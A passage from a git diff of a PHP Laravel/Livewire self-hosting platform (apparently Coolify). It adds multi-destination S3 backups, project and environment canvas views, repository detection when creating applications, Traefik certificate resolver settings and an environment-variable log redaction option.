$this->dumpAll = $this->backup->dump_all; $this->timeout = $this->backup->timeout; @@ -216,10 +228,10 @@ class BackupEdit extends Component if ($this->delete_associated_backups_locally && $server) { deleteBackupsLocally($filenames, $server); } + } - if ($this->delete_associated_backups_s3 && $this->backup->s3) { - deleteBackupsS3($filenames, $this->backup->s3); - } + if ($this->delete_associated_backups_s3) { + $this->backup->executions()->each(fn ($execution) => $execution->deleteS3Copies()); } $backupUuid = $this->backup->uuid; @@ -333,14 +345,14 @@ class BackupEdit extends Component } } - public function updatedS3StorageId(): void + public function updatedS3StorageIds(): void { $this->instantSave(); } public function toggleS3(): void { - if (! $this->saveS3 && $this->availableS3StorageIds()->isEmpty()) { + if (! $this->saveS3 && $this->selectedAvailableS3StorageIds()->isEmpty()) { $this->dispatch('error', 'Select a usable S3 storage before enabling S3 backups.'); return; @@ -351,21 +363,22 @@ class BackupEdit extends Component $this->instantSave(); } - private function customValidate() + /** + * @return Collection The usable S3 storage IDs to keep as destinations. + */ + private function customValidate(): Collection { - if (! is_numeric($this->backup->s3_storage_id)) { - $this->backup->s3_storage_id = null; - } + // Only usable S3 storages of the database's team can be destinations; others are dropped. + $storageIds = $this->selectedAvailableS3StorageIds(); + $this->s3StorageIds = $storageIds->all(); - // S3 backup cannot be enabled without a valid S3 storage owned by the team - $availableS3Ids = $this->availableS3StorageIds(); - if ($availableS3Ids->isEmpty()) { - $this->backup->s3_storage_id = $this->s3StorageId = null; - if ($this->backup->save_s3) { - $this->backup->save_s3 = $this->saveS3 = false; - } - } elseif (! $availableS3Ids->contains($this->backup->s3_storage_id)) { - $this->backup->s3_storage_id = $this->s3StorageId = $availableS3Ids->first(); + if ($this->availableS3StorageIds()->isEmpty()) { + $this->backup->save_s3 = $this->saveS3 = false; + } elseif ($this->backup->save_s3 && $storageIds->isEmpty()) { + $message = 'Select at least one usable S3 storage.'; + $this->addError('s3StorageIds', $message); + + throw new Exception($message); } // Validate that disable_local_backup can only be true when S3 backup is enabled @@ -378,6 +391,8 @@ class BackupEdit extends Component throw new Exception('Invalid Cron / Human expression'); } $this->validate(); + + return $storageIds; } /** @@ -399,6 +414,20 @@ class BackupEdit extends Component ]); } + /** + * @return Collection + */ + private function selectedAvailableS3StorageIds(): Collection + { + $availableIds = $this->availableS3StorageIds(); + + return collect($this->s3StorageIds) + ->map(fn ($id): int => (int) $id) + ->filter(fn (int $id): bool => $availableIds->contains($id)) + ->unique() + ->values(); + } + private function availableS3StorageIds(): Collection { $database = $this->backup->database; @@ -409,9 +438,12 @@ class BackupEdit extends Component return collect(); } + // Current destinations stay selectable while unusable, so saving other settings does not remove them. + $selectedIds = $this->backup->selectedS3Storages()->pluck('id')->all(); + return S3Storage::query() ->where('team_id', $teamId) - ->where('is_usable', true) + ->where(fn (Builder $query) => $query->where('is_usable', true)->orWhereIn('id', $selectedIds)) ->pluck('id'); } @@ -432,7 +464,7 @@ class BackupEdit extends Component return view('livewire.project.database.backup-edit', [ 'checkboxes' => [ ['id' => 'delete_associated_backups_locally', 'label' => __('database.delete_backups_locally')], - ['id' => 'delete_associated_backups_s3', 'label' => 'All backups will be permanently deleted (associated with this backup job) from the selected S3 Storage.'], + ['id' => 'delete_associated_backups_s3', 'label' => 'All backups will be permanently deleted (associated with this backup job) from every S3 storage of this schedule.'], // ['id' => 'delete_associated_backups_sftp', 'label' => 'All backups associated with this backup job from this database will be permanently deleted from the selected SFTP Storage.'] ], ]); diff --git a/app/Livewire/Project/Database/BackupExecutions.php b/app/Livewire/Project/Database/BackupExecutions.php index 6f17e2fcf5..f9d4658688 100644 --- a/app/Livewire/Project/Database/BackupExecutions.php +++ b/app/Livewire/Project/Database/BackupExecutions.php @@ -109,12 +109,8 @@ class BackupExecutions extends Component deleteBackupsLocally($execution->filename, $server, throwError: true); } - if ($deleteFromS3 && $execution->s3_uploaded && ! $execution->s3_storage_deleted) { - if (! $execution->scheduledDatabaseBackup->s3) { - throw new \RuntimeException('The S3 storage is unavailable.'); - } - - deleteBackupsS3($execution->filename, $execution->scheduledDatabaseBackup->s3); + if ($deleteFromS3) { + $execution->deleteS3Copies(); } $execution->delete(); diff --git a/app/Livewire/Project/Database/ScheduledBackups.php b/app/Livewire/Project/Database/ScheduledBackups.php index ece99b45f4..2071337b4b 100644 --- a/app/Livewire/Project/Database/ScheduledBackups.php +++ b/app/Livewire/Project/Database/ScheduledBackups.php @@ -73,7 +73,7 @@ class ScheduledBackups extends Component public function render(): View { - $this->database->loadMissing('scheduledBackups.s3'); + $this->database->loadMissing(['scheduledBackups.s3', 'scheduledBackups.s3Storages']); return view('livewire.project.database.scheduled-backups'); } diff --git a/app/Livewire/Project/EnvironmentCanvas.php b/app/Livewire/Project/EnvironmentCanvas.php new file mode 100644 index 0000000000..22309d2e32 --- /dev/null +++ b/app/Livewire/Project/EnvironmentCanvas.php @@ -0,0 +1,41 @@ +project = Project::ownedByCurrentTeam()->whereUuid($project_uuid)->firstOrFail(); + $this->environment = $this->project->environments()->whereUuid($environment_uuid)->firstOrFail(); + $this->authorize('view', $this->environment); + $this->rememberView('environment', 'canvas'); + } + + public function render(): View + { + return view('livewire.project.environment-canvas')->layout('layouts.app', ['fullBleed' => true]); + } +} diff --git a/app/Livewire/Project/Index.php b/app/Livewire/Project/Index.php index 038d8dea33..e3ba5f4f3c 100644 --- a/app/Livewire/Project/Index.php +++ b/app/Livewire/Project/Index.php @@ -2,16 +2,25 @@ namespace App\Livewire\Project; +use App\Livewire\Concerns\RemembersCanvasView; use App\Models\Project; use Illuminate\Contracts\View\View; use Livewire\Component; class Index extends Component { + use RemembersCanvasView; + public $projects; public function mount(): void { + if ($this->prefersCanvasView('projects')) { + $this->redirectRoute('project.canvas.index', navigate: true); + + return; + } + // Only load what the page renders. Servers/private keys were previously // hydrated into public Livewire state but never used by the view. $this->projects = Project::ownedByCurrentTeam() diff --git a/app/Livewire/Project/New/GithubPrivateRepository.php b/app/Livewire/Project/New/GithubPrivateRepository.php index cef0cf6ac7..59dce3cf59 100644 --- a/app/Livewire/Project/New/GithubPrivateRepository.php +++ b/app/Livewire/Project/New/GithubPrivateRepository.php @@ -7,6 +7,7 @@ use App\Models\GithubApp; use App\Models\Project; use App\Rules\ValidGitBranch; use App\Support\ValidationPatterns; +use App\Traits\HasRepositoryDetection; use Illuminate\Foundation\Auth\Access\AuthorizesRequests; use Illuminate\Support\Facades\Http; use Illuminate\Support\Facades\Route; @@ -16,6 +17,7 @@ use Livewire\Component; class GithubPrivateRepository extends Component { use AuthorizesRequests; + use HasRepositoryDetection; public $current_step = 'github_apps'; @@ -151,6 +153,8 @@ class GithubPrivateRepository extends Component $this->selected_branch_name = $this->branches->contains('name', $defaultBranch) ? $defaultBranch : data_get($this->branches, '0.name', 'main'); + + $this->detectRepository(); } protected function loadBranchByPage() @@ -173,6 +177,15 @@ class GithubPrivateRepository extends Component $this->branches = $this->branches->concat(collect($json)); } + protected function applicationForDetection(): Application + { + return $this->unsavedApplicationForDetection( + str($this->selected_repository_owner)->trim()->toString().'/'.str($this->selected_repository_repo)->trim()->toString(), + $this->selected_branch_name, + $this->github_app, + ); + } + public function submit() { try { @@ -205,7 +218,7 @@ class GithubPrivateRepository extends Component $project = Project::ownedByCurrentTeam()->where('uuid', $this->parameters['project_uuid'])->firstOrFail(); $environment = $project->environments()->where('uuid', $this->parameters['environment_uuid'])->firstOrFail(); - $application = new Application([ + $application_init = [ 'name' => generate_application_name($this->selected_repository_owner.'/'.$this->selected_repository_repo, $this->selected_branch_name), 'repository_project_id' => $this->selected_repository_id, 'git_repository' => str($this->selected_repository_owner)->trim()->toString().'/'.str($this->selected_repository_repo)->trim()->toString(), @@ -219,23 +232,31 @@ class GithubPrivateRepository extends Component 'destination_type' => $destination_class, 'source_id' => $this->github_app->id, 'source_type' => $this->github_app->getMorphClass(), - ]); + ]; + + if ($this->build_pack === 'dockerfile' || $this->build_pack === 'dockerimage') { + $application_init['health_check_enabled'] = false; + } + if ($this->build_pack === 'dockerfile' && $dockerfileLocation = $this->selectedDockerfileLocation()) { + $application_init['dockerfile_location'] = $dockerfileLocation; + } + if ($this->build_pack === 'dockercompose') { + $application_init['docker_compose_location'] = $this->docker_compose_location; + } + + $application = new Application($application_init); $application->save(); $application->settings->is_static = $this->is_static; $application->settings->save(); - if ($this->build_pack === 'dockerfile' || $this->build_pack === 'dockerimage') { - $application->health_check_enabled = false; - } - if ($this->build_pack === 'dockercompose') { - $application['docker_compose_location'] = $this->docker_compose_location; - } $fqdn = generateUrl(server: $destination->server, random: $application->uuid); $application->fqdn = $fqdn; $application->name = generate_application_name($this->selected_repository_owner.'/'.$this->selected_repository_repo, $this->selected_branch_name, $application->uuid); $application->save(); + $this->importDetectedEnvironmentVariables($application); + return redirect()->route('project.application.configuration', [ 'application_uuid' => $application->uuid, 'environment_uuid' => $environment->uuid, diff --git a/app/Livewire/Project/New/GithubPrivateRepositoryDeployKey.php b/app/Livewire/Project/New/GithubPrivateRepositoryDeployKey.php index 6946d9a687..d55972e97d 100644 --- a/app/Livewire/Project/New/GithubPrivateRepositoryDeployKey.php +++ b/app/Livewire/Project/New/GithubPrivateRepositoryDeployKey.php @@ -10,6 +10,7 @@ use App\Models\Project; use App\Rules\ValidGitBranch; use App\Rules\ValidGitRepositoryUrl; use App\Support\ValidationPatterns; +use App\Traits\HasRepositoryDetection; use Illuminate\Foundation\Auth\Access\AuthorizesRequests; use Illuminate\Support\Str; use Livewire\Component; @@ -18,6 +19,7 @@ use Spatie\Url\Url; class GithubPrivateRepositoryDeployKey extends Component { use AuthorizesRequests; + use HasRepositoryDetection; public $current_step = 'private_keys'; @@ -84,7 +86,7 @@ class GithubPrivateRepositoryDeployKey extends Component public function mount() { if (isDev()) { - $this->repository_url = 'https://github.com/coollabsio/coolify-examples/tree/v4.x'; + $this->repository_url = 'https://github.com/coollabsio/coolify-examples/tree/main'; } $this->parameters = get_route_parameters(); $this->query = request()->query(); @@ -132,6 +134,18 @@ class GithubPrivateRepositoryDeployKey extends Component $this->current_step = 'repository'; } + protected function applicationForDetection(): Application + { + $this->get_git_source(); + + return $this->unsavedApplicationForDetection( + $this->git_repository, + $this->branch ?? 'main', + $this->git_source instanceof GithubApp || $this->git_source instanceof GitlabApp ? $this->git_source : null, + PrivateKey::ownedByCurrentTeam()->findOrFail($this->private_key_id), + ); + } + public function submit() { $this->authorize('create', Application::class); @@ -186,6 +200,9 @@ class GithubPrivateRepositoryDeployKey extends Component if ($this->build_pack === 'dockerfile' || $this->build_pack === 'dockerimage') { $application_init['health_check_enabled'] = false; } + if ($this->build_pack === 'dockerfile' && $dockerfileLocation = $this->selectedDockerfileLocation()) { + $application_init['dockerfile_location'] = $dockerfileLocation; + } if ($this->build_pack === 'dockercompose') { $application_init['docker_compose_location'] = $this->docker_compose_location; $application_init['base_directory'] = $this->base_directory; @@ -200,6 +217,8 @@ class GithubPrivateRepositoryDeployKey extends Component $application->name = generate_random_name($application->uuid); $application->save(); + $this->importDetectedEnvironmentVariables($application); + return redirect()->route('project.application.configuration', [ 'application_uuid' => $application->uuid, 'environment_uuid' => $environment->uuid, diff --git a/app/Livewire/Project/New/PublicGitRepository.php b/app/Livewire/Project/New/PublicGitRepository.php index a031c50c00..c14c9dcd37 100644 --- a/app/Livewire/Project/New/PublicGitRepository.php +++ b/app/Livewire/Project/New/PublicGitRepository.php @@ -9,6 +9,7 @@ use App\Models\Project; use App\Rules\ValidGitBranch; use App\Rules\ValidGitRepositoryUrl; use App\Support\ValidationPatterns; +use App\Traits\HasRepositoryDetection; use Carbon\Carbon; use Illuminate\Foundation\Auth\Access\AuthorizesRequests; use Livewire\Component; @@ -17,6 +18,7 @@ use Spatie\Url\Url; class PublicGitRepository extends Component { use AuthorizesRequests; + use HasRepositoryDetection; public string $repository_url; @@ -89,7 +91,7 @@ class PublicGitRepository extends Component public function mount() { if (isDev()) { - $this->repository_url = 'https://github.com/coollabsio/coolify-examples/tree/v4.x'; + $this->repository_url = 'https://github.com/coollabsio/coolify-examples/tree/main'; $this->port = 3000; } $this->parameters = get_route_parameters(); @@ -167,17 +169,17 @@ class PublicGitRepository extends Component $this->git_branch = 'master'; } $this->selectedBranch = $this->git_branch; + } catch (\Throwable $e) { if ($this->rate_limit_remaining == 0) { $this->selectedBranch = $this->git_branch; $this->branchFound = true; - return; - } - if (! $this->branchFound && $this->git_branch === 'main') { + } elseif (! $this->branchFound && $this->git_branch === 'main') { try { $this->git_branch = 'master'; $this->getBranch(); + } catch (\Throwable $e) { return handleError($e, $this); } @@ -185,6 +187,19 @@ class PublicGitRepository extends Component return handleError($e, $this); } } + if ($this->branchFound) { + $this->selectedBranch = $this->git_branch; + $this->detectRepository(); + } + } + + protected function applicationForDetection(): Application + { + return $this->unsavedApplicationForDetection( + $this->git_repository, + $this->git_branch, + $this->git_source instanceof GithubApp || $this->git_source instanceof GitlabApp ? $this->git_source : null, + ); } private function getGitSource() @@ -331,6 +346,9 @@ class PublicGitRepository extends Component if ($this->build_pack === 'dockerfile' || $this->build_pack === 'dockerimage') { $application_init['health_check_enabled'] = false; } + if ($this->build_pack === 'dockerfile' && $dockerfileLocation = $this->selectedDockerfileLocation()) { + $application_init['dockerfile_location'] = $dockerfileLocation; + } if ($this->build_pack === 'dockercompose') { $application_init['docker_compose_location'] = $this->docker_compose_location; $application_init['base_directory'] = $this->base_directory; @@ -344,6 +362,8 @@ class PublicGitRepository extends Component $application->fqdn = $fqdn; $application->save(); + $this->importDetectedEnvironmentVariables($application); + return redirect()->route('project.application.configuration', [ 'application_uuid' => $application->uuid, 'environment_uuid' => $environment->uuid, diff --git a/app/Livewire/Project/New/Select.php b/app/Livewire/Project/New/Select.php index 629a7e56d9..9986bfa1f5 100644 --- a/app/Livewire/Project/New/Select.php +++ b/app/Livewire/Project/New/Select.php @@ -156,28 +156,28 @@ class Select extends Component 'name' => 'Public Git Repository', 'description' => 'Deploy any public Git repository. Coolify builds it from source, no credentials required.', 'documentation' => 'https://coolify.io/docs/applications/ci-cd', - 'logo' => asset('svgs/resources/public-repo.svg'), + 'logo' => resource_logo_url('public-repo'), ], [ 'id' => 'private-deploy-key', 'name' => 'Private Git Repository (with Deploy Key)', 'description' => 'Deploy a private repository over SSH with a repository-scoped deploy key. Set the URL and branch manually, no automatic deploys.', 'documentation' => 'https://coolify.io/docs/applications/ci-cd/github/deploy-key', - 'logo' => asset('svgs/resources/deploy-key.svg'), + 'logo' => resource_logo_url('deploy-key'), ], [ 'id' => 'private-gh-app', 'name' => 'Git Repository (with GitHub App)', 'description' => 'Deploy public or private GitHub repositories through a GitHub App, with automatic webhooks and pull request previews.', 'documentation' => 'https://coolify.io/docs/applications/ci-cd/github/setup-app', - 'logo' => asset('svgs/resources/github-app.svg'), - 'logoDark' => asset('svgs/resources/github-app-dark.svg'), + 'logo' => resource_logo_url('github-app'), + 'logoDark' => resource_logo_url('github-app-dark'), ], [ 'id' => 'private-gitlab-app', 'name' => 'Git Repository (with GitLab App)', 'description' => 'Deploy public or private GitLab projects through a GitLab App, with automatic webhooks and merge request previews.', - 'logo' => asset('svgs/resources/gitlab-app.svg'), + 'logo' => resource_logo_url('gitlab-app'), ], ]; $dockerBasedApplications = [ @@ -186,21 +186,21 @@ class Select extends Component 'name' => 'Dockerfile', 'description' => 'Deploy an application using a Dockerfile, without a Git repository.', 'documentation' => 'https://coolify.io/docs/applications/build-packs/dockerfile', - 'logo' => asset('svgs/resources/dockerfile.svg'), + 'logo' => resource_logo_url('dockerfile'), ], [ 'id' => 'docker-compose-empty', 'name' => 'Docker Compose', 'description' => 'Deploy a multi-container application using a Docker Compose file, without a Git repository.', 'documentation' => 'https://coolify.io/docs/applications/build-packs/docker-compose', - 'logo' => asset('svgs/resources/docker-compose.svg'), + 'logo' => resource_logo_url('docker-compose'), ], [ 'id' => 'docker-image', 'name' => 'Docker Image', 'description' => 'Deploy an application using a prebuilt image from any Docker registry, without a Git repository.', 'documentation' => 'https://coolify.io/docs/applications', - 'logo' => asset('svgs/resources/docker-image.svg'), + 'logo' => resource_logo_url('docker-image'), ], ]; $databases = [ @@ -208,58 +208,58 @@ class Select extends Component 'id' => 'postgresql', 'name' => 'PostgreSQL', 'description' => 'A relational database with strong SQL standards support and extensibility.', - 'logo' => asset('svgs/resources/postgres.svg'), + 'logo' => resource_logo_url('postgres'), ], [ 'id' => 'mysql', 'name' => 'MySQL', 'description' => 'A relational database for web and general-purpose applications.', - 'logo' => asset('svgs/resources/mysql.svg'), + 'logo' => resource_logo_url('mysql'), ], [ 'id' => 'mariadb', 'name' => 'MariaDB', 'description' => 'A relational database and drop-in replacement for MySQL.', - 'logo' => asset('svgs/resources/mariadb.svg'), + 'logo' => resource_logo_url('mariadb'), ], [ 'id' => 'redis', 'name' => 'Redis', 'description' => 'An in-memory key-value store used as a database, cache, and message broker.', - 'logo' => asset('svgs/resources/redis.svg'), + 'logo' => resource_logo_url('redis'), ], [ 'id' => 'keydb', 'name' => 'KeyDB', 'description' => 'A multithreaded, Redis-compatible in-memory store.', - 'logo' => asset('svgs/resources/keydb.svg'), - 'logoDark' => asset('svgs/resources/keydb-dark.svg'), + 'logo' => resource_logo_url('keydb'), + 'logoDark' => resource_logo_url('keydb-dark'), ], [ 'id' => 'dragonfly', 'name' => 'Dragonfly', 'description' => 'An in-memory datastore compatible with Redis and Memcached.', - 'logo' => asset('svgs/resources/dragonfly.svg'), - 'logoDark' => asset('svgs/resources/dragonfly-dark.svg'), + 'logo' => resource_logo_url('dragonfly'), + 'logoDark' => resource_logo_url('dragonfly-dark'), ], [ 'id' => 'mongodb', 'name' => 'MongoDB', 'description' => 'A document-oriented NoSQL database that stores JSON-like documents.', - 'logo' => asset('svgs/resources/mongodb.svg'), + 'logo' => resource_logo_url('mongodb'), ], [ 'id' => 'clickhouse', 'name' => 'ClickHouse', 'description' => 'A column-oriented database for real-time analytics over large datasets.', - 'logo' => asset('svgs/resources/clickhouse.svg'), + 'logo' => resource_logo_url('clickhouse'), ], [ 'id' => 'sqlite', 'name' => 'SQLite', 'description' => 'A lightweight relational database stored in a single file.', - 'logo' => asset('svgs/resources/sqlite.svg'), + 'logo' => resource_logo_url('sqlite'), 'experimental' => true, ], diff --git a/app/Livewire/Project/ProjectCanvas.php b/app/Livewire/Project/ProjectCanvas.php new file mode 100644 index 0000000000..d0e3e26c5c --- /dev/null +++ b/app/Livewire/Project/ProjectCanvas.php @@ -0,0 +1,38 @@ +project = Project::ownedByCurrentTeam()->whereUuid($project_uuid)->firstOrFail(); + $this->authorize('view', $this->project); + $this->rememberView('project', 'canvas'); + } + + public function render(): View + { + return view('livewire.project.project-canvas')->layout('layouts.app', ['fullBleed' => true]); + } +} diff --git a/app/Livewire/Project/ProjectsCanvas.php b/app/Livewire/Project/ProjectsCanvas.php new file mode 100644 index 0000000000..93cf54dce7 --- /dev/null +++ b/app/Livewire/Project/ProjectsCanvas.php @@ -0,0 +1,37 @@ +authorize('viewAny', Project::class); + $this->teamId = currentTeam()->id; + $this->rememberView('projects', 'canvas'); + } + + public function render(): View + { + return view('livewire.project.projects-canvas')->layout('layouts.app', ['fullBleed' => true]); + } +} diff --git a/app/Livewire/Project/Resource/Index.php b/app/Livewire/Project/Resource/Index.php index dca586fc0c..90c42c581d 100644 --- a/app/Livewire/Project/Resource/Index.php +++ b/app/Livewire/Project/Resource/Index.php @@ -2,13 +2,17 @@ namespace App\Livewire\Project\Resource; +use App\Livewire\Concerns\RemembersCanvasView; use App\Models\Environment; use App\Models\Project; use Illuminate\Support\Collection; +use Illuminate\Support\Facades\Blade; use Livewire\Component; class Index extends Component { + use RemembersCanvasView; + public Project $project; public Environment $environment; @@ -55,6 +59,12 @@ class Index extends Component ->where('uuid', request()->route('environment_uuid')) ->firstOrFail(); + if ($this->prefersCanvasView('environment')) { + $this->redirectRoute('project.environment.canvas', ['project_uuid' => $project->uuid, 'environment_uuid' => $environment->uuid], navigate: true); + + return; + } + $this->project = $project; // Load projects and environments for breadcrumb navigation @@ -201,6 +211,7 @@ class Index extends Component 'maxRestartCount' => $item->max_restart_count ?? 0, 'server_status' => $item->server_status ?? null, 'hrefLink' => $item->hrefLink ?? '', + 'logoHtml' => Blade::render('', ['resource' => $item]), 'destination' => [ 'server' => [ 'name' => $item->destination?->server?->name ?? 'Unknown', diff --git a/app/Livewire/Project/Service/BackupExecutions.php b/app/Livewire/Project/Service/BackupExecutions.php index 81be0ff8ad..b319f66412 100644 --- a/app/Livewire/Project/Service/BackupExecutions.php +++ b/app/Livewire/Project/Service/BackupExecutions.php @@ -114,7 +114,7 @@ class BackupExecutions extends Component private function formatExecutions(Collection $rows): Collection { $databaseExecutions = ScheduledDatabaseBackupExecution::query() - ->with(['scheduledDatabaseBackup.database', 'scheduledDatabaseBackup.s3']) + ->with(['scheduledDatabaseBackup.database', 'scheduledDatabaseBackup.s3', 'scheduledDatabaseBackup.s3Storages']) ->whereIn('id', $rows->where('type', 'database')->pluck('id')) ->get()->keyBy('id'); $volumeExecutions = ScheduledVolumeBackupExecution::query() @@ -128,11 +128,16 @@ class BackupExecutions extends Component $isDatabase = $row->type === 'database'; $execution = $isDatabase ? $databaseExecutions->get($row->id) : $volumeExecutions->get($row->id); $schedule = $isDatabase ? $execution->scheduledDatabaseBackup : $execution->scheduledVolumeBackup; - $storage = $isDatabase ? ($schedule->save_s3 ? $schedule->s3 : null) : $execution->s3; - if ($storage?->team_id !== $serviceTeamId) { - $storage = null; - } - $storageLabel = $storage ? $storage->name.' (bucket: '.$storage->bucket.')' : 'Unavailable'; + $storages = match (true) { + ! $isDatabase => collect([$execution->s3]), + ! $schedule->save_s3 => collect(), + $schedule->s3Storages->isNotEmpty() => $schedule->s3Storages, + default => collect([$schedule->s3]), + }; + $storageLabel = $storages + ->filter(fn ($storage) => $storage?->team_id === $serviceTeamId) + ->map(fn ($storage) => $storage->name.' (bucket: '.$storage->bucket.')') + ->implode(', ') ?: 'Unavailable'; if ($isDatabase && ! $schedule->save_s3) { $storageLabel = 'Not configured'; } elseif (! $isDatabase && ! $execution->s3_storage_id && ! $execution->s3_uploaded && ! $execution->s3_storage_deleted) { diff --git a/app/Livewire/Project/Service/Domains.php b/app/Livewire/Project/Service/Domains.php index 7452a13f1a..7349b63c27 100644 --- a/app/Livewire/Project/Service/Domains.php +++ b/app/Livewire/Project/Service/Domains.php @@ -1780,7 +1780,7 @@ class Domains extends Component $lowerHost = strtolower($host); - if (filter_var($host, FILTER_VALIDATE_IP) !== false || $lowerHost === 'localhost') { + if (filter_var(trim($host, '[]'), FILTER_VALIDATE_IP) !== false || $lowerHost === 'localhost') { return null; } diff --git a/app/Livewire/Project/Service/FileStorage.php b/app/Livewire/Project/Service/FileStorage.php index 87acbda781..7c6a2917ba 100644 --- a/app/Livewire/Project/Service/FileStorage.php +++ b/app/Livewire/Project/Service/FileStorage.php @@ -372,6 +372,7 @@ class FileStorage extends Component return view('livewire.project.service.file-storage', [ 'deletionCheckboxes' => $deletionCheckboxes, 'deletionActions' => $deletionActions, + 'isYamlFile' => str($this->fileStorage->fs_path)->lower()->endsWith(['.yml', '.yaml']), ]); } } diff --git a/app/Livewire/Project/Service/Index.php b/app/Livewire/Project/Service/Index.php index fd3b8c54da..2c91c31c35 100644 --- a/app/Livewire/Project/Service/Index.php +++ b/app/Livewire/Project/Service/Index.php @@ -5,8 +5,10 @@ namespace App\Livewire\Project\Service; use App\Actions\Database\StartDatabaseProxy; use App\Actions\Database\StopDatabaseProxy; use App\Actions\Service\DeleteService; +use App\Enums\ProxyTypes; use App\Models\S3Storage; use App\Models\Server; +use App\Models\ServerSetting; use App\Models\Service; use App\Models\ServiceApplication; use App\Models\ServiceDatabase; @@ -87,6 +89,13 @@ class Index extends Component public bool $isStripprefixEnabled = false; + /** + * How the Traefik certificate resolver is chosen: `server`, `none`, or `custom`. + */ + public string $certificateResolverMode = 'server'; + + public ?string $certificateResolverName = null; + public mixed $maxRestartCount = 0; protected $listeners = ['generateDockerCompose', 'refreshScheduledBackups' => '$refresh', 'refreshFileStorages']; @@ -105,6 +114,13 @@ class Index extends Component 'fqdn' => 'nullable', 'isGzipEnabled' => 'nullable|boolean', 'isStripprefixEnabled' => 'nullable|boolean', + 'certificateResolverMode' => 'required|in:server,none,custom', + 'certificateResolverName' => ['exclude_unless:certificateResolverMode,custom', 'required', 'string', 'max:255', 'regex:'.ServerSetting::TRAEFIK_CERTIFICATE_RESOLVER_PATTERN, 'not_in:'.ServerSetting::TRAEFIK_CERTIFICATE_RESOLVER_NONE], + ]; + + protected $validationAttributes = [ + 'certificateResolverMode' => 'certificate resolver', + 'certificateResolverName' => 'certificate resolver name', ]; public function mount( @@ -447,6 +463,11 @@ class Index extends Component $this->serviceApplication->is_log_drain_enabled = $this->isLogDrainEnabled; $this->serviceApplication->is_gzip_enabled = $this->isGzipEnabled; $this->serviceApplication->is_stripprefix_enabled = $this->isStripprefixEnabled; + $this->serviceApplication->traefik_certificate_resolver = match ($this->certificateResolverMode) { + 'none' => ServerSetting::TRAEFIK_CERTIFICATE_RESOLVER_NONE, + 'custom' => $this->certificateResolverName, + default => null, + }; if ($this->serviceApplication->max_restart_count !== (int) $this->maxRestartCount) { $this->serviceApplication->restart_limit_reached = false; } @@ -460,10 +481,25 @@ class Index extends Component $this->isLogDrainEnabled = data_get($this->serviceApplication, 'is_log_drain_enabled', false); $this->isGzipEnabled = data_get($this->serviceApplication, 'is_gzip_enabled', true); $this->isStripprefixEnabled = data_get($this->serviceApplication, 'is_stripprefix_enabled', true); + $resolver = $this->serviceApplication->traefik_certificate_resolver; + $this->certificateResolverMode = match (true) { + blank($resolver) => 'server', + $resolver === ServerSetting::TRAEFIK_CERTIFICATE_RESOLVER_NONE => 'none', + default => 'custom', + }; + $this->certificateResolverName = $this->certificateResolverMode === 'custom' ? $resolver : null; $this->maxRestartCount = $this->serviceApplication->max_restart_count ?? 0; } } + private function validateCertificateResolver(): void + { + $this->validate([ + 'certificateResolverMode' => $this->rules['certificateResolverMode'], + 'certificateResolverName' => $this->rules['certificateResolverName'], + ]); + } + public function saveMaxRestartCount(): void { $this->authorize('update', $this->serviceApplication); @@ -517,6 +553,7 @@ class Index extends Component return; } + $this->validateCertificateResolver(); $this->syncApplicationData(true); $changedFields = auditChangedFields($this->serviceApplication); $this->serviceApplication->save(); @@ -620,6 +657,7 @@ class Index extends Component $this->validate([ 'fqdn' => ValidationPatterns::applicationDomainRules(), ]); + $this->validateCertificateResolver(); $this->fqdn = ValidationPatterns::normalizeApplicationDomains($this->fqdn); $warning = sslipDomainWarning($this->fqdn); @@ -692,7 +730,12 @@ class Index extends Component public function render() { - return view('livewire.project.service.index'); + $server = $this->resourceType === 'application' ? $this->service?->destination?->server : null; + + return view('livewire.project.service.index', [ + 'showCertificateResolver' => $server?->proxyType() === ProxyTypes::TRAEFIK->value, + 'serverCertificateResolver' => $server?->traefikCertificateResolver() ?? ServerSetting::TRAEFIK_CERTIFICATE_RESOLVER_NONE, + ]); } /** diff --git a/app/Livewire/Project/Service/VolumeBackup/Index.php b/app/Livewire/Project/Service/VolumeBackup/Index.php index 60a78e5c15..64dbbb8df2 100644 --- a/app/Livewire/Project/Service/VolumeBackup/Index.php +++ b/app/Livewire/Project/Service/VolumeBackup/Index.php @@ -118,7 +118,7 @@ class Index extends Component ); $databaseBackups = ScheduledDatabaseBackup::query() - ->with(['database', 'latest_log', 's3']) + ->with(['database', 'latest_log', 's3', 's3Storages']) ->withCount('executions') ->where('database_type', (new ServiceDatabase)->getMorphClass()) ->whereHasMorph('database', [ServiceDatabase::class], fn ($query) => $query->where('service_id', $this->service->id)) @@ -126,7 +126,7 @@ class Index extends Component ->get(); $backups = ScheduledVolumeBackup::query() - ->with(['backupable.resource', 'latestExecution', 's3']) + ->with(['backupable.resource', 'latestExecution', 's3', 's3Storages']) ->withCount('executions') ->forService($this->service) ->latest() diff --git a/app/Livewire/Project/Shared/EnvironmentVariable/All.php b/app/Livewire/Project/Shared/EnvironmentVariable/All.php index 55da7f7228..daad018b2b 100644 --- a/app/Livewire/Project/Shared/EnvironmentVariable/All.php +++ b/app/Livewire/Project/Shared/EnvironmentVariable/All.php @@ -57,12 +57,16 @@ class All extends Component public bool $use_build_secrets = false; + public bool $redact_all_env_values_in_logs = true; + /** * Environment variable rows are loaded after first paint via wire:init * so the surrounding configuration page can render immediately. */ public bool $readyToLoad = false; + private ?Collection $composeEnvironmentAssignments = null; + protected $listeners = [ 'saveKey' => 'submit', 'refreshEnvs', @@ -75,6 +79,20 @@ class All extends Component $this->clearEnvironmentVariableCaches(); } + public function focusComposeEnvironmentVariable(string $key): void + { + if (preg_match('/^[A-Za-z_][A-Za-z0-9_]*$/', $key) !== 1) { + return; + } + + $this->search = $key; + $this->variableFilters = []; + $this->serviceFilters = []; + $this->environmentFilter = 'all'; + $this->page = 1; + $this->clearEnvironmentVariableCaches(); + } + private function clearEnvironmentVariableCaches(): void { unset($this->environmentVariables); @@ -93,6 +111,9 @@ class All extends Component { $this->is_env_sorting_enabled = data_get($this->resource, 'settings.is_env_sorting_enabled', false); $this->use_build_secrets = data_get($this->resource, 'settings.use_build_secrets', false); + if ($this->hasLogRedactionSetting()) { + $this->redact_all_env_values_in_logs = $this->resource->redactsAllEnvValuesInLogs(); + } $this->resourceClass = get_class($this->resource); $resourceWithPreviews = [Application::class]; $simpleDockerfile = filled(data_get($this->resource, 'dockerfile')); @@ -121,6 +142,41 @@ class All extends Component } } + /** + * Applications, services, and standalone databases have the "Environment values in logs" setting. + */ + public function hasLogRedactionSetting(): bool + { + return method_exists($this->resource, 'redactsAllEnvValuesInLogs'); + } + + public function saveLogRedactionSetting() + { + try { + 